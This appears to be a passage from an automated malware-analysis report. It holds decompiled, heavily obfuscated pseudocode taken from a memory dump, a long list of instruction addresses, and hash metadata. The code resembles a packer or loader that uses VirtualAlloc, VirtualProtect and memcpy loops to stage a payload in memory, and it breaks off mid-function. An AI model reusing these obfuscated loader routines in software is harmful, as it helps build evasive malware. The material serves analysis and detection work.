                  					_t773 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _v12, _t824);
                  					 *_t1144 =  *_t1144 & 0x00000000;
                  					 *_t1144 =  *_t1144 + _t773;
                  					_t425 = _t824 + 0x41c3b9; // 0x41c3b9
                  					 *_t1144 =  *_t1144 - _t1112;
                  					 *_t1144 =  *_t1144 | _t425;
                  					_t775 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _t986);
                  					_t1132 =  &(_t1144[1]);
                  					 *_t427 = _t775;
                  					_v20 = _v20 + (_t916 & 0x00000000 |  *_t1144);
                  					_push(_v20);
                  					_pop(_t776);
                  					_t1054 = _t1052;
                  					 *_t1132 = _t1054;
                  					_t879 =  *(_t824 + 0x41d0fa);
                  					_t1057 = 0;
                  					if(_t879 > _t776) {
                  						_t432 = _t824 + 0x41cfff; // 0x41cfff
                  						 *_t1132 =  *_t1132 - _t1112;
                  						 *_t1132 =  *_t1132 + _t432;
                  						_t433 = _t824 + 0x41c3b9; // 0x41c3b9
                  						 *_t1132 =  *_t1132 ^ _t1112;
                  						 *_t1132 =  *_t1132 + _t433;
                  						_t788 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1112, _t1112);
                  						_v12 = _t1097;
                  						 *((intOrPtr*)(_t824 + 0x41d019)) = _t788;
                  						_t1097 = _v12;
                  					}
                  					_pop( *_t438);
                  					_t987 = _v12;
                  					 *_t1132 =  *_t1132 ^ _t824;
                  					 *_t1132 = _t987;
                  					_t440 = _t824 + 0x41c42d; // 0x41c42d
                  					 *_t1132 =  *_t1132 - _t1097;
                  					 *_t1132 =  *_t1132 + _t440;
                  					_t778 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1097, _t824);
                  					 *_t1132 = _t1057;
                  					 *((intOrPtr*)(_t824 + 0x41c664)) = _t778;
                  					_t1060 = 0;
                  					_v16 = _v16 & 0x00000000;
                  					 *_t1132 =  *_t1132 + _t1060;
                  					_t446 = _t824 + 0x41c4b9; // 0x41c4b9
                  					_v12 = 0;
                  					 *_t1132 =  *_t1132 + _t446;
                  					_t449 = _t824 + 0x41c298; // 0x41c298
                  					 *_t1132 =  *_t1132 ^ _t1097;
                  					 *_t1132 = _t449;
                  					_t781 =  *((intOrPtr*)(_t824 + 0x41f068))();
                  					_v16 = _t987;
                  					 *(_t824 + 0x41c405) = 0 ^ _t781;
                  					_t947 = _v16;
                  					VirtualProtect(_t1097, _v12, _v16, ??);
                  					_t455 = _t824 + 0x41c772; // 0x41c772
                  					_v20 = 0;
                  					 *_t1132 =  *_t1132 ^ _t455;
                  					_t458 = _t824 + 0x41cb5c; // 0x41cb5c
                  					 *_t1132 =  *_t1132 ^ _t824;
                  					 *_t1132 =  *_t1132 | _t458;
                  					_t785 =  *((intOrPtr*)(_t824 + 0x41f068))(_t824, _v20);
                  					_v12 = _t1060;
                  					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) & 0x00000000;
                  					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) | _t1060 - _v12 ^ _t785;
                  					_t1023 = _v12;
                  				}
                  				_pop( *_t467);
                  				_v16 = 0;
                  				 *_t1132 =  *_t1132 + _t824 + 0x41d305;
                  				 *_t1132 =  *_t1132 ^ _t879;
                  				 *_t1132 =  *_t1132 | _t824 + 0x0041cf53;
                  				_t701 =  *((intOrPtr*)(_t824 + 0x41f068))(_t879, _v16);
                  				_v16 = _t947;
                  				 *(_t824 + 0x41c775) = 0 ^ _t701;
                  				_t950 = _v16;
                  				_t1026 = (_t1023 & 0x00000000 | _v12) + 0xf8;
                  				_t827 = _t824;
                  				_v20 = 0;
                  				 *_t1132 =  *_t1132 ^ _t827 + 0x0041d2fb;
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1132 =  *_t1132 + _t827 + 0x41c2ea;
                  				_push( *((intOrPtr*)(_t827 + 0x41f068))(_v16, _v20));
                  				_pop( *_t485);
                  				_push(_v12);
                  				_pop( *_t487);
                  				do {
                  					 *_t1132 = _t1026;
                  					 *_t1132 =  *_t1132 ^ _t879;
                  					 *_t1132 =  *_t1132 ^ _t827 + 0x0041c966;
                  					_t706 =  *((intOrPtr*)(_t827 + 0x41f060))(_t879, _v16);
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1132 =  *_t1132 | _t706;
                  					 *_t1132 = _t827 + 0x41ca40;
                  					_t708 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, _v20);
                  					_t1133 = _t1132 - 0xfffffffc;
                  					 *_t497 = _t708;
                  					_v12 = _v12 + (_t879 & 0x00000000) +  *_t1132;
                  					_push(_v12);
                  					_pop(_t709);
                  					_t1028 = _t1026;
                  					_v16 = _t950;
                  					_t882 = 0 ^  *(_t827 + 0x41d332);
                  					_t953 = _v16;
                  					if(_t882 > _t709) {
                  						 *_t1133 =  *_t1133 ^ _t1112;
                  						 *_t1133 = _t827 + 0x41c966;
                  						 *_t1133 =  *_t1133 & 0x00000000;
                  						 *_t1133 =  *_t1133 | _t827 + 0x0041ca40;
                  						_t709 =  *((intOrPtr*)(_t827 + 0x41f064))(_t882, _t1112);
                  					}
                  					 *_t1133 = _t882;
                  					 *((intOrPtr*)(_t827 + 0x41c6bc)) = _t709;
                  					_v20 = _t1028;
                  					_t1031 = _v20;
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1133 =  *_t1133 + _t827 + 0x41c5f7;
                  					_t711 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, 0);
                  					 *_t1133 = _t711;
                  					_v16 = _v16 & 0x00000000;
                  					 *_t1133 =  *_t1133 | _t827 + 0x0041c637;
                  					_t713 =  *((intOrPtr*)(_t827 + 0x41f060))(_v16, _v12);
                  					_t1134 =  &(_t1133[1]);
                  					_v20 = _a4;
                  					_push( *_t1133 + _t713);
                  					_t1085 = _v20;
                  					_pop(_t714);
                  					_push( *((intOrPtr*)(_t827 + 0x41cece)));
                  					_pop( *_t525);
                  					_push(_v20);
                  					_pop(_t888);
                  					if(_t888 > _t714) {
                  						 *_t1134 =  *_t1134 - _t888;
                  						 *_t1134 =  *_t1134 ^ _t827 + 0x0041c5f7;
                  						_v20 = _v20 & 0x00000000;
                  						 *_t1134 =  *_t1134 | _t827 + 0x0041c637;
                  						_t714 =  *((intOrPtr*)(_t827 + 0x41f064))(_v20, _t888);
                  					}
                  					_v12 = _t1085;
                  					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) & 0x00000000;
                  					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) | _t1085 ^ _v12 | _t714;
                  					 *_t1134 = _t1112;
                  					_t889 = 0 ^  *(_t1031 + 0x10);
                  					_t1112 = 0;
                  					 *_t1134 =  *_t1134 & 0x00000000;
                  					 *_t1134 =  *_t1134 ^ _t889;
                  					_v20 = 0;
                  					 *_t1134 =  *_t1134 ^ _t827 + 0x0041cee6;
                  					 *_t1134 =  *_t1134 ^ _t1112;
                  					 *_t1134 =  *_t1134 + _t827 + 0x41c9b9;
                  					_t717 =  *((intOrPtr*)(_t827 + 0x41f068))(_v20, _t714);
                  					_v20 = _t1031;
                  					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) & 0x00000000;
                  					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) ^ (_t1031 & 0x00000000 | _t717);
                  					_t1034 = _v20;
                  					 *_t552 = _t1112;
                  					_push(_v12);
                  					_pop( *_t555);
                  					_v16 = _v16 +  *((intOrPtr*)(_t1034 + 0x14));
                  					_push(_v16);
                  					_pop(_t1089);
                  					_t955 = _t953;
                  					_v16 = 0;
                  					 *_t1134 =  *_t1134 ^ _t889 & 0x00000000 ^ _v20;
                  					 *_t1134 =  *_t1134 & 0x00000000;
                  					 *_t1134 =  *_t1134 + _t827 + 0x41c452;
                  					_v12 = 0;
                  					 *_t1134 =  *_t1134 ^ _t827 + 0x0041c156;
                  					_t720 =  *((intOrPtr*)(_t827 + 0x41f068))(_v12, _t955, _v16);
                  					 *_t1134 = _t955;
                  					 *((intOrPtr*)(_t827 + 0x41c66c)) = _t720;
                  					_t958 = 0;
                  					_pop( *_t567);
                  					_t893 = _v16;
                  					_t1035 =  *(_t1034 + 0xc);
                  					 *_t1134 =  *_t1134 & 0x00000000;
                  					 *_t1134 =  *_t1134 + _t893;
                  					 *_t1134 =  *_t1134 - _t1112;
                  					 *_t1134 = _t827 + 0x41c5a4;
                  					_t722 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112, _t1089);
                  					 *_t1134 =  *_t1134 - _t1112;
                  					 *_t1134 =  *_t1134 ^ _t722;
                  					 *_t1134 =  *_t1134 ^ _t1035;
                  					 *_t1134 =  *_t1134 + _t827 + 0x41ce5b;
                  					_t724 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112);
                  					 *_t574 = _t1035;
                  					 *_t1134 =  *_t1134 + _t827;
                  					_t828 = _t724;
                  					_t827 = 0;
                  					_push( *((intOrPtr*)(_t827 + 0x41d348)));
                  					_pop( *_t577);
                  					_push(_v12);
                  					_pop(_t896);
                  					if(_t896 > _t828 + (_t893 & 0x00000000 ^ _v20)) {
                  						_t579 = _t827 + 0x41c5a4; // 0x41c5a4
                  						 *_t1134 =  *_t1134 ^ _t958;
                  						 *_t1134 =  *_t1134 | _t579;
                  						_t580 = _t827 + 0x41ce5b; // 0x41ce5b
                  						 *_t1134 =  *_t1134 - _t896;
                  						 *_t1134 =  *_t1134 | _t580;
                  						_t733 =  *((intOrPtr*)(_t827 + 0x41f064))(_t896, _t958);
                  						_v20 = _t1089;
                  						 *(_t827 + 0x41c50f) = 0 ^ _t733;
                  						_t1089 = _v20;
                  					}
                  					_v12 = _t958;
                  					_t1036 =  *(_t827 + 0x41c166) + _t1035;
                  					_t726 = memcpy(_t1036, _t1089, (_t896 & 0x00000000) +  *_t1134);
                  					_t1136 =  &(_t1134[4]);
                  					_t879 = 0;
                  					_t1132 = _t1136 - 0xfffffffc;
                  					_push(_v12);
                  					_t1026 =  *_t1136 + 0x28;
                  					_pop(_t950);
                  					_t588 =  &_v8;
                  					 *_t588 = _v8 - 1;
                  				} while ( *_t588 != 0);
                  				_pop( *_t590);
                  				_t1041 = _v16;
                  				_push(_t1112);
                  				 *_t594 = _t726 & 0x00000000 ^ _t1112 -  *_t1132 ^  *(_t1041 + 0x28);
                  				_v20 = _v20 +  *(_t827 + 0x41c166);
                  				_push(_v20);
                  				_pop(_t729);
                  				_t1043 = _t1041;
                  				 *_t1132 = _t950;
                  				 *((intOrPtr*)(_t827 + 0x41d140)) = _t729;
                  				_t966 = 0;
                  				_v12 = 0;
                  				_t1091 = _t1089 & 0x00000000 | 0 ^  *(_t827 + 0x41c166);
                  				_t901 = _v12;
                  				if(_t1091 > 0) {
                  					 *_t1132 =  *_t1132 & 0x00000000;
                  					 *_t1132 =  *_t1132 + _t1091;
                  					_t730 = E04D24E1A(_t827, _t901, _t966, _t1043, _t1091, _t827);
                  					 *_t1132 = _t1091;
                  					_t729 = E04D22FAF(_t730, _t827, _t901, _t966, _t1043, _t1091, _v12);
                  				}
                  				_pop( *_t603);
                  				return _t729;
                  			}


































































































































































































                  0x04d25f16
                  0x04d25f16
                  0x04d25f16
                  0x04d25f17
                  0x04d25f1b
                  0x04d25f1e
                  0x04d25f20
                  0x04d25f23
                  0x04d25f24
                  0x04d25f28
                  0x04d25f2b
                  0x04d25f2c
                  0x04d25f30
                  0x04d25f39
                  0x04d25f3a
                  0x04d25f3d
                  0x04d25f46
                  0x04d25f4a
                  0x04d25f4d
                  0x04d25f56
                  0x04d25f57
                  0x04d25f5a
                  0x04d25f5d
                  0x04d25f63
                  0x04d25f66
                  0x04d25f6e
                  0x04d25f71
                  0x04d25f72
                  0x04d25f75
                  0x04d25f78
                  0x04d25f7b
                  0x04d25f84
                  0x04d25f85
                  0x04d25f88
                  0x04d25f8b
                  0x04d25f91
                  0x04d25f94
                  0x04d25f9d
                  0x04d25f9e
                  0x04d25fa2
                  0x04d25fa5
                  0x04d25fab
                  0x04d25fb1
                  0x04d25fb5
                  0x04d25fb8
                  0x04d25fbb
                  0x04d25fbe
                  0x04d25fc0
                  0x04d25fcb
                  0x04d25fd2
                  0x04d25fda
                  0x04d25fdd
                  0x04d25fe6
                  0x04d25fe7
                  0x04d25fea
                  0x04d25ff3
                  0x04d25ff4
                  0x04d25ff7
                  0x04d25ffa
                  0x04d25ffa
                  0x04d26002
                  0x04d26005
                  0x04d26009
                  0x04d2600d
                  0x04d26017
                  0x04d2601b
                  0x04d26025
                  0x04d26029
                  0x04d2602c
                  0x04d26032
                  0x04d26039
                  0x04d2604b
                  0x04d26054
                  0x04d2605e
                  0x04d26067
                  0x04d26068
                  0x04d2606b
                  0x04d2606e
                  0x04d26074
                  0x04d2607b
                  0x04d2607e
                  0x04d26088
                  0x04d2608b
                  0x04d26094
                  0x04d26095
                  0x04d26098
                  0x04d2609b
                  0x04d260a1
                  0x04d260a7
                  0x04d260ae
                  0x04d260b7
                  0x04d260be
                  0x04d260c1
                  0x04d260c8
                  0x04d260cb
                  0x04d260d4
                  0x04d260db
                  0x04d260de
                  0x04d260e4
                  0x04d260e7
                  0x04d260ee
                  0x04d260f1
                  0x04d260f4
                  0x04d260f7
                  0x04d260f8
                  0x04d26106
                  0x04d26108
                  0x04d2610b
                  0x04d26114
                  0x04d26118
                  0x04d26124
                  0x04d26127
                  0x04d2612d
                  0x04d26133
                  0x04d2613a
                  0x04d26140
                  0x04d26147
                  0x04d2614a
                  0x04d2614f
                  0x04d26156
                  0x04d2615c
                  0x04d2615f
                  0x04d26162
                  0x04d2616b
                  0x04d2616e
                  0x04d26172
                  0x04d26176
                  0x04d2617a
                  0x04d2617e
                  0x04d26188
                  0x04d2618c
                  0x04d26195
                  0x04d2619c
                  0x04d2619f
                  0x04d261ab
                  0x04d261b2
                  0x04d261be
                  0x04d261c1
                  0x04d261c8
                  0x04d261d1
                  0x04d261db
                  0x04d261de
                  0x04d261e5
                  0x04d261e8
                  0x04d261f1
                  0x04d261fb
                  0x04d261fe
                  0x04d26206
                  0x04d26209
                  0x04d26210
                  0x04d26213
                  0x04d26216
                  0x04d26219
                  0x04d2621a
                  0x04d2621b
                  0x04d26231
                  0x04d26239
                  0x04d26240
                  0x04d26249
                  0x04d26253
                  0x04d26256
                  0x04d26256
                  0x04d2625e
                  0x04d26265
                  0x04d2626b
                  0x04d2626c
                  0x04d26276
                  0x04d26279
                  0x04d26283
                  0x04d2628c
                  0x04d26296
                  0x04d26299
                  0x04d2629f
                  0x04d262a9
                  0x04d262b5
                  0x04d262b8
                  0x04d262c3
                  0x04d262c6
                  0x04d262cd
                  0x04d262ce
                  0x04d262d1
                  0x04d262d2
                  0x04d262dd
                  0x04d262df
                  0x04d262e4
                  0x04d262ec
                  0x04d262f6
                  0x04d26300
                  0x04d26303
                  0x04d26306
                  0x04d2630c
                  0x04d26314
                  0x04d2631b
                  0x04d26321
                  0x04d26321
                  0x04d2632a
                  0x04d2632d
                  0x04d26335
                  0x04d26338
                  0x04d2633b
                  0x04d2633e
                  0x04d2633f
                  0x04d26343
                  0x04d2634d
                  0x04d26351
                  0x04d2635d
                  0x04d26360
                  0x04d26368
                  0x04d2636f
                  0x04d26375
                  0x04d2637c
                  0x04d2637f
                  0x04d26385
                  0x04d26389
                  0x04d2638c
                  0x04d26396
                  0x04d26399
                  0x04d263a2
                  0x04d263a9
                  0x04d263ac
                  0x04d263b4
                  0x04d263bb
                  0x04d263c1
                  0x04d263c7
                  0x04d263ca
                  0x04d263d1
                  0x04d263d3
                  0x04d263dc
                  0x04d263e6
                  0x04d263e9
                  0x04d263f0
                  0x04d263f3
                  0x04d263fd
                  0x04d26400
                  0x04d26403
                  0x04d26412
                  0x04d26417
                  0x04d2641b
                  0x04d2641e
                  0x04d26420
                  0x04d26421
                  0x04d2642c
                  0x04d2642e
                  0x04d26433
                  0x04d2643c
                  0x04d2643f
                  0x04d26448
                  0x04d26452
                  0x04d26455
                  0x04d26455
                  0x04d26461
                  0x04d26468
                  0x04d2646e
                  0x04d26474
                  0x04d26477
                  0x04d26483
                  0x04d26486
                  0x04d2648c
                  0x04d26494
                  0x04d2649b
                  0x04d264a1
                  0x04d264a6
                  0x04d264b2
                  0x04d264b6
                  0x04d264b9
                  0x04d264c1
                  0x04d264c5
                  0x04d264c8
                  0x04d264d4
                  0x04d264db
                  0x04d264e1
                  0x04d264e3
                  0x04d264e6
                  0x04d264f2
                  0x04d264f5
                  0x04d264fe
                  0x04d2650a
                  0x04d2650d
                  0x04d26515
                  0x04d26518
                  0x04d2651f
                  0x04d26522
                  0x04d26525
                  0x04d26528
                  0x04d26529
                  0x04d26537
                  0x04d26539
                  0x04d2653c
                  0x04d2653e
                  0x04d26544
                  0x04d2654e
                  0x04d26551
                  0x04d26558
                  0x04d2655c
                  0x04d2655f
                  0x04d2655f
                  0x04d26567
                  0x04d2656e
                  0x04d26574
                  0x04d26575
                  0x04d26586
                  0x04d26590
                  0x04d26593
                  0x04d2659a
                  0x04d2659e
                  0x04d265a1
                  0x04d265a9
                  0x04d265b0
                  0x04d265b6
                  0x04d265b7
                  0x04d265ca
                  0x04d265cc
                  0x04d265ce
                  0x04d265d2
                  0x04d265d5
                  0x04d265db
                  0x04d265e5
                  0x04d265e8
                  0x04d265ee
                  0x04d265f6
                  0x04d265fd
                  0x04d26603
                  0x04d2660b
                  0x04d26610
                  0x04d26618
                  0x04d2661b
                  0x04d26622
                  0x04d26625
                  0x04d2662b
                  0x04d26632
                  0x04d26635
                  0x04d2663c
                  0x04d26640
                  0x04d26643
                  0x04d2664a
                  0x04d2664e
                  0x04d26651
                  0x04d26659
                  0x04d2665f
                  0x04d26666
                  0x04d26667
                  0x04d2666a
                  0x04d2666b
                  0x04d26671
                  0x04d26674
                  0x04d26677
                  0x04d2667a
                  0x04d26685
                  0x04d2668f
                  0x04d26693
                  0x04d26696
                  0x04d2669d
                  0x04d266a0
                  0x04d266a3
                  0x04d266a3
                  0x04d266a9
                  0x04d266ac
                  0x04d266af
                  0x04d266c2
                  0x04d266c6
                  0x04d266c9
                  0x04d266d2
                  0x04d266dc
                  0x04d266e8
                  0x04d266eb
                  0x04d266f1
                  0x04d266f8
                  0x04d266fe
                  0x04d26703
                  0x04d26706
                  0x04d2670b
                  0x04d2670e
                  0x04d26713
                  0x04d2671a
                  0x04d2671d
                  0x04d26720
                  0x04d26727
                  0x04d26730
                  0x04d2673a
                  0x04d2673d
                  0x04d26743
                  0x04d2674d
                  0x04d26757
                  0x04d2675b
                  0x04d2675e
                  0x04d2676d
                  0x04d26774
                  0x04d26777
                  0x04d2677a
                  0x04d2677d
                  0x04d2677e
                  0x04d2677f
                  0x04d26781
                  0x04d2678c
                  0x04d26791
                  0x04d2679a
                  0x04d2679d
                  0x04d267a7
                  0x04d267ab
                  0x04d267ae
                  0x04d267b4
                  0x04d267b6
                  0x04d267bd
                  0x04d267c3
                  0x04d267c4
                  0x04d267c7
                  0x04d267cc
                  0x04d267cf
                  0x04d267d2
                  0x04d267d2
                  0x04d267d3
                  0x04d267dd
                  0x04d267e0
                  0x04d267e7
                  0x04d267f1
                  0x04d267f4
                  0x04d267f7
                  0x04d267fe
                  0x04d26801
                  0x04d2680b
                  0x04d2680f
                  0x04d26812
                  0x04d2681d
                  0x04d26824
                  0x04d26827
                  0x04d2682a
                  0x04d2682d
                  0x04d2682e
                  0x04d2682f
                  0x04d26841
                  0x04d2684c
                  0x04d26858
                  0x04d2685b
                  0x04d26861
                  0x04d26868
                  0x04d2686e
                  0x04d26873
                  0x04d26876
                  0x04d2687e
                  0x04d26881
                  0x04d26881
                  0x04d26889
                  0x04d2688d
                  0x04d26897
                  0x04d2689b
                  0x04d268a4
                  0x04d268ae
                  0x04d268b1
                  0x04d268bd
                  0x04d268c4
                  0x04d268cd
                  0x04d268d0
                  0x04d268d3
                  0x04d268e0
                  0x04d268e4
                  0x04d268e7
                  0x04d268f0
                  0x04d268f7
                  0x04d26900
                  0x04d26901
                  0x04d26904
                  0x04d26907
                  0x04d26913
                  0x04d26916
                  0x04d26919
                  0x04d26926
                  0x04d2692f
                  0x04d26939
                  0x04d2693c
                  0x04d26945
                  0x04d26951
                  0x04d26954
                  0x04d26960
                  0x04d26968
                  0x04d2696c
                  0x04d26971
                  0x04d26972
                  0x04d2697d
                  0x04d2697f
                  0x04d26984
                  0x04d26986
                  0x04d2698d
                  0x04d26990
                  0x04d26993
                  0x04d2699a
                  0x04d2699d
                  0x04d269a0
                  0x04d269a6
                  0x04d269ae
                  0x04d269b5
                  0x04d269bb
                  0x04d269c0
                  0x04d269c3
                  0x04d269c6
                  0x04d269cd
                  0x04d269d0
                  0x04d269d6
                  0x04d269d9
                  0x04d269e0
                  0x04d269e4
                  0x04d269e7
                  0x04d269f0
                  0x04d269f3
                  0x04d269fb
                  0x04d26a02
                  0x04d26a08
                  0x04d26a0b
                  0x04d26a0e
                  0x04d26a13
                  0x04d26a1a
                  0x04d26a1e
                  0x04d26a24
                  0x04d26a27
                  0x04d26a30
                  0x04d26a33
                  0x04d26a3f
                  0x04d26a46
                  0x04d26a4f
                  0x04d26a52
                  0x04d26a56
                  0x04d26a5d
                  0x04d26a64
                  0x04d26a67
                  0x04d26a6e
                  0x04d26a72
                  0x04d26a75
                  0x04d26a7c
                  0x04d26a80
                  0x04d26a83
                  0x04d26a8a
                  0x04d26a8d
                  0x04d26a90
                  0x04d26a9f
                  0x04d26aa6
                  0x04d26aa9
                  0x04d26aac
                  0x04d26aaf
                  0x04d26ab0
                  0x04d26ab3
                  0x04d26abe
                  0x04d26ac0
                  0x04d26ac3
                  0x04d26ac5
                  0x04d26acc
                  0x04d26acf
                  0x04d26ad2
                  0x04d26ad9
                  0x04d26adc
                  0x04d26adf
                  0x04d26ae5
                  0x04d26aec
                  0x04d26af2
                  0x04d26af2
                  0x04d26af5
                  0x04d26af8
                  0x04d26afc
                  0x04d26aff
                  0x04d26b02
                  0x04d26b09
                  0x04d26b0c
                  0x04d26b0f
                  0x04d26b17
                  0x04d26b1e
                  0x04d26b24
                  0x04d26b25
                  0x04d26b2c
                  0x04d26b2f
                  0x04d26b35
                  0x04d26b3f
                  0x04d26b42
                  0x04d26b49
                  0x04d26b4c
                  0x04d26b4f
                  0x04d26b55
                  0x04d26b5c
                  0x04d26b62
                  0x04d26b65
                  0x04d26b6b
                  0x04d26b71
                  0x04d26b7b
                  0x04d26b7e
                  0x04d26b85
                  0x04d26b88
                  0x04d26b8b
                  0x04d26b91
                  0x04d26b99
                  0x04d26ba0
                  0x04d26ba6
                  0x04d26ba6
                  0x04d26baf
                  0x04d26bbb
                  0x04d26bc5
                  0x04d26bcf
                  0x04d26bd2
                  0x04d26bd5
                  0x04d26bdb
                  0x04d26be2
                  0x04d26be8
                  0x04d26bf4
                  0x04d26bf6
                  0x04d26bfd
                  0x04d26c07
                  0x04d26c10
                  0x04d26c17
                  0x04d26c20
                  0x04d26c21
                  0x04d26c24
                  0x04d26c27
                  0x04d26c2d
                  0x04d26c30
                  0x04d26c3a
                  0x04d26c3d
                  0x04d26c40
                  0x04d26c46
                  0x04d26c4d
                  0x04d26c59
                  0x04d26c5c
                  0x04d26c6b
                  0x04d26c72
                  0x04d26c75
                  0x04d26c78
                  0x04d26c7b
                  0x04d26c7c
                  0x04d26c7d
                  0x04d26c88
                  0x04d26c8a
                  0x04d26c8f
                  0x04d26c98
                  0x04d26c9b
                  0x04d26ca5
                  0x04d26ca9
                  0x04d26cac
                  0x04d26cac
                  0x04d26cb4
                  0x04d26cbb
                  0x04d26cc2
                  0x04d26ccc
                  0x04d26cd5
                  0x04d26cdc
                  0x04d26cdf
                  0x04d26ce8
                  0x04d26cf1
                  0x04d26cf8
                  0x04d26cfb
                  0x04d26d06
                  0x04d26d09
                  0x04d26d10
                  0x04d26d11
                  0x04d26d14
                  0x04d26d15
                  0x04d26d1b
                  0x04d26d1e
                  0x04d26d21
                  0x04d26d24
                  0x04d26d2d
                  0x04d26d30
                  0x04d26d39
                  0x04d26d40
                  0x04d26d43
                  0x04d26d43
                  0x04d26d49
                  0x04d26d51
                  0x04d26d58
                  0x04d26d63
                  0x04d26d6b
                  0x04d26d6d
                  0x04d26d6f
                  0x04d26d73
                  0x04d26d7c
                  0x04d26d86
                  0x04d26d90
                  0x04d26d93
                  0x04d26d96
                  0x04d26d9c
                  0x04d26da4
                  0x04d26dab
                  0x04d26db1
                  0x04d26dba
                  0x04d26dc4
                  0x04d26dc5
                  0x04d26dc8
                  0x04d26dcb
                  0x04d26dce
                  0x04d26dcf
                  0x04d26dd0
                  0x04d26dda
                  0x04d26de4
                  0x04d26de8
                  0x04d26df1
                  0x04d26dfb
                  0x04d26dfe
                  0x04d26e06
                  0x04d26e0d
                  0x04d26e13
                  0x04d26e16
                  0x04d26e19
                  0x04d26e1c
                  0x04d26e20
                  0x04d26e24
                  0x04d26e2e
                  0x04d26e31
                  0x04d26e34
                  0x04d26e3b
                  0x04d26e3e
                  0x04d26e48
                  0x04d26e4b
                  0x04d26e4e
                  0x04d26e5a
                  0x04d26e62
                  0x04d26e66
                  0x04d26e6b
                  0x04d26e6c
                  0x04d26e72
                  0x04d26e75
                  0x04d26e78
                  0x04d26e7b
                  0x04d26e7d
                  0x04d26e84
                  0x04d26e87
                  0x04d26e8a
                  0x04d26e91
                  0x04d26e94
                  0x04d26e97
                  0x04d26e9d
                  0x04d26ea4
                  0x04d26eaa
                  0x04d26eaa
                  0x04d26eb9
                  0x04d26ec8
                  0x04d26ec9
                  0x04d26ec9
                  0x04d26ec9
                  0x04d26ed4
                  0x04d26ed7
                  0x04d26ee0
                  0x04d26ee2
                  0x04d26ee3
                  0x04d26ee3
                  0x04d26ee3
                  0x04d26eec
                  0x04d26eef
                  0x04d26ef2
                  0x04d26f07
                  0x04d26f0a
                  0x04d26f0d
                  0x04d26f10
                  0x04d26f11
                  0x04d26f14
                  0x04d26f1b
                  0x04d26f21
                  0x04d26f22
                  0x04d26f31
                  0x04d26f33
                  0x04d26f39
                  0x04d26f3c
                  0x04d26f40
                  0x04d26f43
                  0x04d26f4b
                  0x04d26f4e
                  0x04d26f4e
                  0x04d26f61
                  0x04d26f68

                  APIs
                  Memory Dump Source
                  • Source File: 00000003.00000002.703377273.0000000004D20000.00000040.00000001.sdmp, Offset: 04D20000, based on PE: true
                  Similarity
                  • API ID: ProtectVirtual
                  • String ID:
                  • API String ID: 544645111-0
                  • Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
                  • Instruction ID: 6e324f5d574261a60f833877808ae74172f476448b4a716696c00d112941edc1
                  • Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
                  • Instruction Fuzzy Hash: 51C22572844608EFEB049FA0C8C57EEBBF5FF48320F0589ADD899AA145D7345264CF69
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 68%
                  			E04D2709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
                  				void* _t47;
                  				signed int _t48;
                  				signed int _t49;
                  				void* _t51;
                  				void* _t52;
                  				void* _t54;
                  				void* _t55;
                  				signed int _t59;
                  				long _t60;
                  				void* _t62;
                  				void* _t65;
                  				void* _t67;
                  				signed int _t68;
                  				void* _t72;
                  				signed int _t75;
                  				signed int _t78;
                  				void* _t81;
                  				signed int _t82;
                  				long _t87;
                  				signed int _t89;
                  				long _t94;
                  				void* _t97;
                  				void* _t99;
                  				long _t101;
                  				void* _t102;
                  
                  				_t87 = __esi;
                  				_t79 = __edi;
                  				_t72 = __edx;
                  				_t59 = __ebx;
                  				 *_t101 = 0xffff0000;
                  				_t48 = E04D22D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
                  				 *_t101 =  *_t101 | _t59;
                  				_t60 = _t59;
                  				if( *_t101 != 0) {
                  					 *_t101 =  *_t101 + 4;
                  					 *_t101 =  *_t101 - _t94;
                  					 *_t101 =  *_t101 + 0x1000;
                  					 *_t101 =  *_t101 - _t60;
                  					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
                  					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
                  				}
                  				 *(_t94 - 8) = 0;
                  				_push( *(_t94 - 8));
                  				 *_t101 =  *_t101 ^ _t48;
                  				_pop( *_t6);
                  				 *(_t60 + 0x41c60a) = 2;
                  				 *_t101 = _t94;
                  				 *(_t60 + 0x41d10e) = _t48;
                  				_t97 = 0;
                  				if( *(_t60 + 0x41c166) > 0) {
                  					_t55 = _t60 + 0x41c60a;
                  					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
                  					 *_t101 = _t55 +  *_t101;
                  					 *_t101 = 0x40;
                  					_t87 =  *_t101;
                  					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
                  					 *_t101 =  *(_t60 + 0x41c166);
                  					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
                  				}
                  				_push(_t72);
                  				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
                  				_t89 = _t87;
                  				_push(_t72);
                  				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
                  				_t99 = _t97;
                  				_t49 = E04D2746C(_t60, _t72, _t79, _t89);
                  				_push( *((intOrPtr*)(_t60 + 0x41c627)));
                  				_pop( *_t24);
                  				_push( *(_t99 - 8));
                  				_pop(_t62);
                  				 *_t101 = _t62;
                  				_t65 = 0;
                  				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
                  				_t81 = _t67;
                  				_t68 = _t65;
                  				if(_t67 != 0) {
